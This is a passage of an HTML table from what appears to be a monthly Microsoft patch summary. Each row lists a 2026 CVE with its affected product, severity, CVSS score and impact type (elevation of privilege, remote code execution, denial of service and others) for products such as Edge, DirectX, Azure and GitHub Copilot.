  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
